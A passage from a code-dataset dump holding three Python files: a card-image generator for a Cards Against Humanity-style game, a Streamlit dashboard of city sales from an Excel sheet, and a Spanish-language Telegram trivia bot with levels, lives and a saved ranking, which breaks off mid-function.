return_interm_layers)\r\n","repo_name":"jiayangzheng1996/TransformerYOLO","sub_path":"model/backbone.py","file_name":"backbone.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"10692980191","text":"from .util import card\nimport warnings\nwarnings.simplefilter(\"once\")\nimport random\nimport os\nfrom PIL import Image, ImageDraw, ImageFont\nimport numpy as np\n\n\nANSWERS_LOCATION = 'data/bin/answer.txt'\nQUESTIONS_LOCATION = 'data/bin/question.txt'\n\n\ndef get_data(file_name):\n data = []\n with open(os.path.join(os.path.dirname(__file__), file_name)) as a_file:\n for ln in a_file:\n ln = ln.rstrip('\\n')\n data.extend(card.from_str(ln))\n\n return data\n\n\ndef filter_multi_blanks(arr):\n for i in reversed(range(len(arr))):\n s = arr[i]\n inside = False\n count = 0\n for c in s:\n if c == '_':\n if not inside:\n count += 1\n inside = True\n else:\n inside = False\n if count > 1:\n del(arr[i])\n\n return arr\n\nquestions = filter_multi_blanks(get_data(QUESTIONS_LOCATION))\nanswers = get_data(ANSWERS_LOCATION)\n\n\ndef load_cards(loc):\n try:\n return get_data(loc)\n except FileNotFoundError:\n warnings.warn(\"Card data not available.\", ResourceWarning)\n return []\n\n\nclass CardGroup:\n def __init__(self, card_arr):\n self.cards = {}\n self.used_cards = {}\n\n for idx, crd in enumerate(card_arr):\n self.cards[idx] = crd\n\n def get_new_card_by_id(self, card_id):\n crd = self.cards[card_id]\n del(self.cards[card_id])\n self.used_cards[card_id] = crd\n return crd\n\n def get_new_card_random(self):\n card_id = random.choice(list(self.cards.keys()))\n return card_id, self.get_new_card_by_id(card_id)\n\n def get_card_by_id(self, card_id):\n try:\n return self.cards[card_id]\n except KeyError:\n return self.used_cards[card_id]\n\n def card_used(self, card_id):\n if card_id in self.cards:\n return False\n elif card_id in self.used_cards:\n return True\n else:\n raise KeyError(\"Given card ID not found.\")\n\n\ndef break_fix(text, width, draw, font):\n if not text:\n return\n lo = 0\n hi = len(text)\n while lo < hi:\n mid = (lo + hi + 1) // 2\n t = text[:mid]\n w, h = draw.textsize(t,font=font)\n if w <= width:\n lo = mid\n else:\n hi = mid - 1\n t = text[:lo]\n w, h = draw.textsize(t, font=font)\n yield t, w, h\n yield from break_fix(text[lo:], width, draw, font)\n\n\ndef fit_text(img, text, color, font):\n width = img.size[0] - 2\n draw = ImageDraw.Draw(img)\n pieces = list(break_fix(text, width-23, draw, font))\n height = sum(p[2] for p in pieces)\n if height > img.size[1]:\n raise ValueError(\"text doesn't fit\")\n y = (img.size[1] - height) // 2\n for t, w, h in pieces:\n x = (img.size[0] - w) // 2\n draw.text((x, y), t, font=font, fill=color)\n y += h\n\n\ndef Card_To_Image(card_data: str, card_num: int):\n c_name = ''.join([i[0] for i in card_data.split()])\n\n logo = Image.open(\"cah/img/logo.png\") #logo\n logo.thumbnail((25, 25))\n card = Image.new(\"RGB\", (180, 180), 'white') #card maker\n edit = ImageDraw.Draw(card)\n card_borders = [(170, 170, 10, 170), (170, 170, 170, 10), (10, 10, 170, 10), (10, 170, 10, 10)]\n for border in card_borders:\n edit.line(border, fill='black', width=3)\n font = ImageFont.truetype('cah/font/Montserrat.ttf', size=13)\n\n fit_text(card, card_data, (0, 0, 0), font=font)\n\n edit.text((85, 25), f'({card_num})', fill='black', font=font)\n \n card.paste(logo, (130, 130))\n #card.save('test.png')\n return card\n\n\ndef combine_cards(images: tuple):\n x_offset = 0\n\n widths, heights = zip(*(i.size for i in images))\n total_width = sum(widths)\n max_height = max(heights)\n new_im = Image.new('RGB', (total_width, max_height))\n for im in images:\n new_im.paste(im, (x_offset, 0))\n x_offset += im.size[0]\n\n return new_im\n\n\ndef deck_maker(deck: tuple):\n images = []\n for i, j in deck:\n images.append(Card_To_Image(card_data=j, card_num=i))\n\n cards = [combine_cards(tuple(images[:4])), combine_cards(tuple(images[4:]))]\n deck = Image.new('RGB', (720, 360))\n deck.paste(cards[0], (0, 0))\n deck.paste(cards[1], (0, 180))\n return deck\n","repo_name":"prl43/python-cah-AI","sub_path":"cah/cards.py","file_name":"cards.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"16705022589","text":"import pandas as pd\nimport streamlit as st\nimport plotly.express as px\nimport plotly.graph_objects as go\n\n# Load data from Excel sheet\nfile_path = 'hadron.xlsx'\nsheet_name = 'City Sales'\ndf = pd.read_excel(file_path, sheet_name=sheet_name)\n\n# Title\nst.title('City Sales')\n\n# Filter\nst.subheader(\"Please Filter Here:\")\n\n# Multiselect filters\nselected_cities = st.multiselect(\"Select Cities:\", df[\"City\"].unique(), default=df[\"City\"].unique())\nselected_months = st.multiselect(\"Select Months:\", df.columns[1:], default=df.columns[1:].tolist())\n\n# Filter the data\nfiltered_data = df[df[\"City\"].isin(selected_cities)][[\"City\"] + selected_months]\n\n# Total sales for each city's row\nfiltered_data['Total Sales'] = filtered_data[selected_months].sum(axis=1)\n\n# Total sales for each month\ncolumn_totals = filtered_data[selected_months].sum()\n\n# Total of \"Total Sales\" column\ntotal_sales_total = filtered_data['Total Sales'].sum()\n\n# Pie chart for \"Total Sales\"\nfig_pie = px.pie(\n values=filtered_data['Total Sales'],\n names=filtered_data['City'],\n title=\"# Total Sales Distribution\"\n)\n\n# Bar chart for sales of each city in each column\nfig_bar = go.Figure()\n\nfor city in selected_cities:\n data_for_city = filtered_data[filtered_data['City'] == city]\n trace = go.Bar(\n x=selected_months,\n y=[data_for_city[column].values[0] for column in selected_months],\n name=city\n )\n fig_bar.add_trace(trace)\n\nfig_bar.update_layout(\n barmode='group',\n xaxis_title='City',\n yaxis_title='Sales',\n title=\"# Sales of Each City in Each Month\",\n)\n\n# Streamlit App\n\n# Hide Streamlit's menu, header, and footer\nst.markdown(\n \"\"\"\n \n \"\"\", unsafe_allow_html=True\n)\n\nst.markdown(\"---\")\n\n# Display DataFrames and Charts\nst.write(\"**# The Amount of Monthly Sales of Products by City**\")\nfiltered_data.index += 1\nst.dataframe(filtered_data)\n\ncol1, col2, col3 = st.columns(3)\n\ncol1.write(\"**# Total Sales for Each City's Row**\")\ncol1.dataframe(filtered_data[['City', 'Total Sales']])\n\ncol2.write(\"**# Total Sales for Each Month**\")\ncol2.dataframe(pd.DataFrame({\"Total Sales\": column_totals}))\n\ncol3.write(\"**# Total of Total Sales**\")\ncol3.markdown(f\"- {total_sales_total:,} Rials\")\n\nst.plotly_chart(fig_pie)\n\nst.plotly_chart(fig_bar)\n","repo_name":"johnunicorndoe/hadron","sub_path":"pages/04_City_Sales.py","file_name":"04_City_Sales.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72389254596","text":"#He importado random para seleccionar preguntas aleatorias.\nimport random\nfrom telegram import Update\nfrom telegram.ext import Updater, CommandHandler, ConversationHandler, MessageHandler, Filters, CallbackContext\n#variable que almacena el nombre del usuario (se obtiene al iniciar trivial)\nusuario = \"\"\n#variable que almacena el nivel que va adquiriendo el usuario.\nnivel = 0\n#abro el fichero del ranking para sacar su información, (el diccionario)\nficheroRanking = open(\"ranking.txt\", \"r\", encoding =\"utf-8\")\ncontenidoFichero = ficheroRanking.read()\n#y le guardo como \"ranking\".\nranking = eval(contenidoFichero)\n#cierro el fichero porque ya no le necesito.\nficheroRanking.close()\n#He creado una lista de tematicas para que el usuario escoja la que mas le convenga.\n#Cada tematica tiene un limite de preguntas como explicare más adelante.\ntematicas = [\"Mates\", \"Cultura_general\", \"Geografia\", \"Informatica\", \"Literatura\"]\n#Diccionario en el se ira almacenando la respuesta correcta de la pregunta actual.\nrespuestaCorrecta = {\"dato\" : \"\"}\n#Variable que almacena los intentos que tiene el usario si fallara alguna pregunta (se iran restando)\nvidas = 3\n#Variable que almacena las preguntas acertadas.\npreguntasAcertadas = 0\n#Variables que almacenan las veces que se ha usado cada temática.\nmates = 0\ncultura_general = 0\ngeografia = 0\ninformatica = 0\nliteratura = 0\n#Abro los ficheros que he creado con anterioridad y almaceno las preguntas y respuestas por temática.\nlecturaFicheroMates = open(\"mates.txt\", \"r\", encoding =\"utf-8\")\nlecturaFicheroCultura = open(\"cultura_general.txt\", \"r\", encoding =\"utf-8\")\nlecturaFicheroGeografia = open(\"geografia.txt\", \"r\", encoding =\"utf-8\")\t\nlecturaFicheroInformatica = open(\"informatica.txt\", \"r\", encoding =\"utf-8\")\nlecturaFicheroLiteratura = open(\"literatura.txt\", \"r\", encoding =\"utf-8\")\n#Almaceno en sus correspondientes variables las lineas de dichos ficheros.\n#En cada linea hay una pregunta y una respuesta (estan separadas por \":\")\n#Pense en hacer todo en un fichero pero asi es mejor por si quiero añadir más preguntas en un futuro (asi no toco el programa)\ncontenidoFicheroMates = lecturaFicheroMates.readlines()\t\ncontenidoFicheroCultura = lecturaFicheroCultura.readlines()\t\ncontenidoFicheroGeografia = lecturaFicheroGeografia.readlines()\t\ncontenidoFicheroInformatica = lecturaFicheroInformatica.readlines()\t\ncontenidoFicheroLiterartura = lecturaFicheroLiteratura.readlines()\t\n#Cierro los ficheros porque ya no los necesito.\nlecturaFicheroMates.close()\nlecturaFicheroCultura.close()\nlecturaFicheroGeografia.close()\nlecturaFicheroInformatica.close()\nlecturaFicheroLiteratura.close()\n\nficheroRanking = open(\"ranking.txt\", \"r\", encoding =\"utf-8\")\ncontenidoFichero = ficheroRanking.read()\nranking = eval(contenidoFichero)\nficheroRanking.close()\n\n# Aqui definimos las funciones que realiza el bot.\ndef start(update: Update, context: CallbackContext):\n\t# Al inicial, enviamos un mensaje al usuario.\n\tupdate.message.reply_text(\"¡Bot Trivial activado!\")\n\t# Mostramos por terminal quién se ha conectado y le indico al usuario las reglas y de que trata el juego.\n\tprint(\"Se ha conectado el usuario: \" + update.effective_user.name)\n\tupdate.message.reply_text(\"¡Vamos a jugar al trivial! Empezaras siendo nivel 0, y según vayas acertando iras subiendo de nivel. (55 preguntas, 5 tematicas, 10 niveles, 3 vidas).\")\n\tupdate.message.reply_text(\"¿Serás capaz de llegar al nivel 10? Escribe /Jugar para comenzar la partida.\")\n\tupdate.message.reply_text(\"¡ATENCIÓN! ¡La primera letra de cada palabra siempre en mayuscula y no uses tildes!\")\n\n#Función que pondra en marcha el juego. Lo indicara por terminal y al usuario le pedira una temática.\ndef Jugar(update: Update, context: CallbackContext):\n\tprint(\"El usario \" + update.effective_user.name + \" ha comenzado a jugar al Trivial\")\n\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas))\n\tglobal usuario\n\tusuario = update.effective_user.name\n\t#SI EL USUARIO HA TERMINADO UNA PARTIDA Y DECIDE VOLVER A JUGAR, RESETEO TODAS LAS VARIABLES NECESARIAS\n\tglobal nivel\n\tnivel = 0\n\tglobal vidas\n\tvidas = 3\n\tglobal preguntasAcertadas\n\tpreguntasAcertadas = 0\n\tglobal mates\n\tmates = 0\n\tglobal cultura_general\n\tcultura_general = 0\n\tglobal geografia\n\tgeografia = 0\n\tglobal informatica\n\tinformatica = 0\n\tglobal literatura\n\tliteratura = 0\n\t#pasamos al siguiente \"Estado\" de la conversación.\n\treturn 0\n\n#Función que se encarga de seleccionar la tematica elegida por el usuario y de hacerle la pregunta que corresponda.\t\ndef trivial(update: Update, context: CallbackContext):\n\tmensajeRecibido = update.message.text\n\t#Meto las variables globales dentro de la función para poder sacar los datos actualizados a fuera a traves de variables locales.\n\tglobal mates\n\tpreguntasMates = mates\n\tglobal cultura_general\n\tpreguntasCultura = cultura_general\n\tglobal geografia\n\tpreguntasGeografia = geografia\n\tglobal informatica\n\tpreguntasInformatica = informatica\n\tglobal literatura\n\tpreguntasLiteratura = literatura\n\n\t#Y si el texto coincide con \"Mates:\"\n\tif mensajeRecibido == \"Mates\":\n\t\t#Y si \"mates\" se ha elegido menos de las veces permitidas como veces como temática:\n\t\tif mates < 11:\n\t\t\t#sumo 1 a la variable global que almacena las veces que se ha usado esta temática..\n\t\t\tpreguntasMates = preguntasMates + 1\n\t\t\tmates = preguntasMates\n\t\t\t#Imprimo por terminal la temática elegida.\n\t\t\tprint(update.effective_user.name + \" ha elegido mates.\")\n\t\t\t#Creo una variable que alamacena temporalmente una de las lineas (random) que hemos extraido del fichero \"mates.txt\".\n\t\t\tElijopreguntaYrespuesta = (random.choice(contenidoFicheroMates))\n\t\t\t#Ahora creo una variable que separa dicha linea en dos partes a traves de \":\" creando dos posiciones (0 y 1).\n\t\t\t#La posición 0 es la pregunta y la posición 1 es la respuesta.\n\t\t\tpreguntaYrespuesta = ElijopreguntaYrespuesta.split(\":\")\n\t\t\t#Ahora meto la pregunta en una lista.\n\t\t\tpregunta = preguntaYrespuesta[0]\n\t\t\t#Y la respuesta en un diccionario para que pueda ser leida como una palabra.\n\t\t\trespuestaCorrecta[\"dato\"] = preguntaYrespuesta[1]\n\t\t\t#Le dijo al usuario la pregunta.\n\t\t\tupdate.message.reply_text(pregunta)\n\t\t\t#Y elimino la linea completa donde tengo almacenado el contenido del fichero.\n\t\t\t#Asi esta pregunta ya no se puede volver a repetir.\n\t\t\tcontenidoFicheroMates.remove(ElijopreguntaYrespuesta)\n\t\t#Si mates ya ha sido usada como temática 12 veces\n\t\telse:\n\t\t\t#Le digo al usuario que ya no puede jugar con esta temática y que escoja otra.\n\t\t\tupdate.message.reply_text(\"Has agotado todas las preguntas de Mates. ELIGE OTRA TEMATICA.\")\n\t\t\t#Elimino esta temática de la lista de temáticas disponibles para jugar.\n\t\t\ttematicas.remove(\"Mates\")\n\t\t\t#Le mando las temáticas actualizadas.\n\t\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\t\t#Imprimo por el terminal que dicha temática ya no se puede usar.\n\t\t\tprint(update.effective_user.name + \" ha agotado todas las preguntas de mates\")\n\t\t\t#y retorno a la función \"trivial\" para comprobar la disponibilidad de la nueva tematica introducida por el usuario.\n\t\t\treturn 0\n\n\t#EL RESTO ES LO MISMO CON LAS DIFERENTES TEMATICAS HASTA DONDE VUELVO A INTRODUCIR COMENTARIOS\n\n\telif mensajeRecibido == \"Cultura_general\":\n\t\tif cultura_general < 11:\n\t\t\tpreguntasCultura = preguntasCultura + 1\n\t\t\tcultura_general = preguntasCultura\n\t\t\tprint(update.effective_user.name + \" ha elegido cultura_general.\")\n\t\t\tElijopreguntaYrespuesta = (random.choice(contenidoFicheroCultura))\n\t\t\tpreguntaYrespuesta = ElijopreguntaYrespuesta.split(\":\")\n\t\t\tpregunta = preguntaYrespuesta[0]\n\t\t\trespuestaCorrecta[\"dato\"] = preguntaYrespuesta[1]\n\t\t\tupdate.message.reply_text(pregunta)\n\t\t\tcontenidoFicheroCultura.remove(ElijopreguntaYrespuesta)\n\t\telse:\n\t\t\tupdate.message.reply_text(\"Has agotado todas las preguntas de Cultura_general. ELIGE OTRA TEMATICA.\")\n\t\t\ttematicas.remove(\"Cultura_general\")\n\t\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\t\tprint(update.effective_user.name + \" ha agotado todas las preguntas de Cultura_general\")\n\t\t\treturn 0\n\t\t\n\telif mensajeRecibido == \"Geografia\":\n\t\tif geografia < 11:\n\t\t\tpreguntasGeografia = preguntasGeografia + 1\n\t\t\tgeografia = preguntasGeografia\n\t\t\tprint(update.effective_user.name + \" ha elegido geografia.\")\n\t\t\tElijopreguntaYrespuesta = random.choice(contenidoFicheroGeografia)\n\t\t\tpreguntaYrespuesta = ElijopreguntaYrespuesta.split(\":\")\n\t\t\tpregunta = preguntaYrespuesta[0]\n\t\t\trespuestaCorrecta[\"dato\"] = preguntaYrespuesta[1]\n\t\t\tupdate.message.reply_text(pregunta)\n\t\t\tcontenidoFicheroGeografia.remove(ElijopreguntaYrespuesta)\n\t\telse:\n\t\t\tupdate.message.reply_text(\"Has agotado todas las preguntas de Geografia. ELIGE OTRA TEMATICA.\")\n\t\t\ttematicas.remove(\"Geografia\")\n\t\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\t\tprint(update.effective_user.name + \" ha agotado todas las preguntas de Geografia\")\n\t\t\treturn 0\n\n\telif mensajeRecibido == \"Informatica\":\n\t\tif informatica < 11:\n\t\t\tpreguntasInformatica = preguntasInformatica + 1\n\t\t\tinformatica = preguntasInformatica\n\t\t\tprint(update.effective_user.name + \" ha elegido informatica.\")\n\t\t\tElijopreguntaYrespuesta = (random.choice(contenidoFicheroInformatica))\n\t\t\tpreguntaYrespuesta = ElijopreguntaYrespuesta.split(\":\")\n\t\t\tpregunta = preguntaYrespuesta[0]\n\t\t\trespuestaCorrecta[\"dato\"] = preguntaYrespuesta[1]\n\t\t\tupdate.message.reply_text(pregunta)\n\t\t\tcontenidoFicheroInformatica.remove(ElijopreguntaYrespuesta)\n\t\telse:\n\t\t\tupdate.message.reply_text(\"Has agotado todas las preguntas de Informatica. ELIGE OTRA TEMATICA.\")\n\t\t\ttematicas.remove(\"Informatica\")\n\t\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\t\tprint(update.effective_user.name + \" ha agotado todas las preguntas de Informatica\")\n\t\t\treturn 0\n\n\telif mensajeRecibido == \"Literatura\":\n\t\tif literatura < 11:\n\t\t\tpreguntasLiteratura = preguntasLiteratura + 1\n\t\t\tliteratura = preguntasLiteratura\n\t\t\tprint(update.effective_user.name + \" ha elegido literatura.\")\n\t\t\tElijopreguntaYrespuesta = (random.choice(contenidoFicheroLiterartura))\n\t\t\tpreguntaYrespuesta = ElijopreguntaYrespuesta.split(\":\")\n\t\t\tpregunta = preguntaYrespuesta[0]\n\t\t\trespuestaCorrecta[\"dato\"] = preguntaYrespuesta[1]\n\t\t\tupdate.message.reply_text(pregunta)\n\t\t\tcontenidoFicheroLiterartura.remove(ElijopreguntaYrespuesta)\n\t\telse:\n\t\t\tupdate.message.reply_text(\"Has agotado todas las preguntas de Literatura. ELIGE OTRA TEMATICA.\")\n\t\t\ttematicas.remove(\"Literatura\")\n\t\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\t\tprint(update.effective_user.name + \" ha agotado todas las preguntas de Literatura\")\n\t\t\treturn 0\n\n\t\t#Mensaje de error si el usuario ha introducido una tematica invalida, \"eliminada\" o la ha escrito mal.\n\t\t#Le vuelvo a preguntar que temática quiere y le retorno al inicio de la función para realizar el proceso de comprobación.\n\telse:\n\t\tupdate.message.reply_text(\"Tematica no reconocida. Compruebe que se ha escrito correctamente y sin tildes y que aun siga estando disponible.\")\n\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas))\n\t\treturn 0\n\t#Si el usario ha elegido una tematica disponible (se le habra realizado una pregunta) y ahora vamos a comprobar si su repuesta es correcta.\n\treturn 1\n\n#Función que se va a encargar de compobar si el usuario a respondido correctamente\ndef ComprobacionRespuestas(update: Update, context: CallbackContext):\n\t#Meto las variable global dentro de la función para poder sacar los datos actualizados a fuera a través de una variables local.\n\tglobal vidas\n\t#Creo una variable local para obtener la información de la global (Vidas disponibles)\n\trestarvidas = vidas\n\t#Meto las variable global dentro de la función para poder sacar los datos actualizados a fuera a través de una variables local.\n\tglobal preguntasAcertadas\n\tsumarPreguntasAcertadas = preguntasAcertadas\n\t#Meto la variable global nivel para sacar su valor fuera de la función.\n\tglobal nivel\n\t#variable que almacena el texto escrito por el usuario. \n\trespuestaRecibida = update.message.text\n\n\t#Ahora voy a comprobar cuantas respuestas van acertadas para mandar un mensaje u otro\n\t#todas funcionan igual , solo varia el numero de aciertos que será el que indique el nivel\n\t#asi que solo voy a explicar la primera al igual que antes\n\n\t#si las preguntas acertadas son igual a: (en este caso a 1)\n\tif preguntasAcertadas == 0:\n\t\t#y si la respuesta que tenbemos almacenada quitando salto de linea es igual a la respuesta recibida.\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\t#se suma 1 a las preguntas acertadas.\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\t#escribo por el terminbal que el usuario sube de nivel.\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 1.\")\n\t\t\t#Y se lo comunico al usuario por la app.\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 1.\")\n\t\t\t#actualizo la variable nivel\n\t\t\tnivel = nivel + 1\n\t\t#si la respuesta no coincide:\n\t\telse:\n\t\t\t#Resto una videa al usuario.\n\t\t\trestarvidas = restarvidas - 1\n\t\t\tvidas = restarvidas\n\t\t\t#Indico por el terminal que el usuario ha fallado y las vidas que le quedan.\n\t\t\tprint(update.effective_user.name + \" ha fallado y le quedan \" + str(vidas) + \" vidas.\")\n\t\t\t#Y se lo comunico a el.\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\t\t\t\n\telif preguntasAcertadas == 5:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 2.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 2.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\trestarvidas = restarvidas - 1\n\t\t\tvidas = restarvidas\n\t\t\tprint(update.effective_user.name + \" ha fallado y le quedan \" + str(vidas) + \" vidas.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 10:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 3.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 3.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 15:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 4.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 4.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 20:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 5.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 5.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 25:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 6.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 6.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 30:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 7.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 7.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 35:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 8.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 8.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 40:\n\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y ahora es nivel 9.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 9.\")\n\t\t\tnivel = nivel + 1\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\telif preguntasAcertadas == 49:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado y finaliza la partida con nivel 10.\")\n\t\t\tnivel = nivel + 1\n\t\t\t#COMO SE HA FINALIZADO LA PARTIDA:\n\t\t\t#abro el fichero \"ranking\" para actualizar el ranking.\n\t\t\tficheroRanking = open(\"ranking.txt\", \"w\", encoding =\"utf-8\")\n\t\t\t#llamo a la función para compararle.\n\t\t\tcomparaRanking(nivel)\n\t\t\t#imprimo el ranking en el .txt\n\t\t\tficheroRanking.write(str(ranking))\n\t\t\t#y cierro el fichero.\n\t\t\tficheroRanking.close()\n\t\t\t#comunico al usuario que ha alcanzado el nivel maximo.\n\t\t\tupdate.message.reply_text(\"¡Correcto! Ahora eres nivel 10. Enhorabuena has terminado el juego con exito.\")\n\t\t\t#le muestro el ranking.\n\t\t\tupdate.message.reply_text(\"RANKING: \" + str(ranking))\n\t\t\t#y le doy la opcion de volver a jugar.\n\t\t\tupdate.message.reply_text(\"Si deseas volver a jugar, escribe /jugar\")\n\t\t\t#finalizo la conversación.\n\t\t\treturn ConversationHandler.END\n\t\telse:\n\t\t\tprint(update.effective_user.name + \" ha fallado.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\t#Esta parte es igual solo que se llevara a cabo si el usuario lleva \"x\" aciertos pero no se corresponde con ningun nivel:\n\telse:\n\t\tif respuestaCorrecta[\"dato\"].rstrip('\\n') == respuestaRecibida:\n\t\t\tsumarPreguntasAcertadas = sumarPreguntasAcertadas + 1\n\t\t\tpreguntasAcertadas = sumarPreguntasAcertadas\n\t\t\tprint(update.effective_user.name + \" ha acertado.\")\n\t\t\tupdate.message.reply_text(\"¡Correcto!\")\n\t\telse:\n\t\t\trestarvidas = restarvidas - 1\n\t\t\tvidas = restarvidas\n\t\t\tprint(update.effective_user.name + \" ha fallado y le quedan \" + str(vidas) + \" vidas.\")\n\t\t\tupdate.message.reply_text(\"Incorrecto. Te quedan \" + str(vidas) + \" vidas.\")\n\n\t#Despues de cada resolucion se le comunica al usuario cuantas preguntas lleva .\n\tupdate.message.reply_text(\"Actualmente llevas \" + str(preguntasAcertadas) + \" aciertos.\")\n\t#Y tambien se muestra por el terminal.\n\tprint(update.effective_user.name + \" actualmente lleva \" + str(preguntasAcertadas) + \" aciertos.\")\n\n\t#si despues de responder el usuario ha fallado, se comprueba cuantas vidas le quedan.\n\t#Y si tiene mas de 0:\n\tif vidas > 0:\n\t\t#seguimos haciendole preguntas, a no ser que quiera cancelar\n\t\tupdate.message.reply_text(\"Dime temática : \" + str(tematicas) + \" o pulsa /cancel si deseas terminar la partida.\")\n\t\treturn 0\n\t#si no tiene vidas:\n\telse:\n\t\t#COMO SE HA FINALIZADO LA PARTIDA:\n\t\t#abro el fichero \"ranking\" para actualizar el ranking si fuera necesario.\n\t\tficheroRanking = open(\"ranking.txt\", \"w\", encoding =\"utf-8\")\n\t\t#llamo a la función para compararle.\n\t\tcomparaRanking(nivel)\n\t\t#imprimo el ranking en el .txt\n\t\tficheroRanking.write(str(ranking))\n\t\t#y 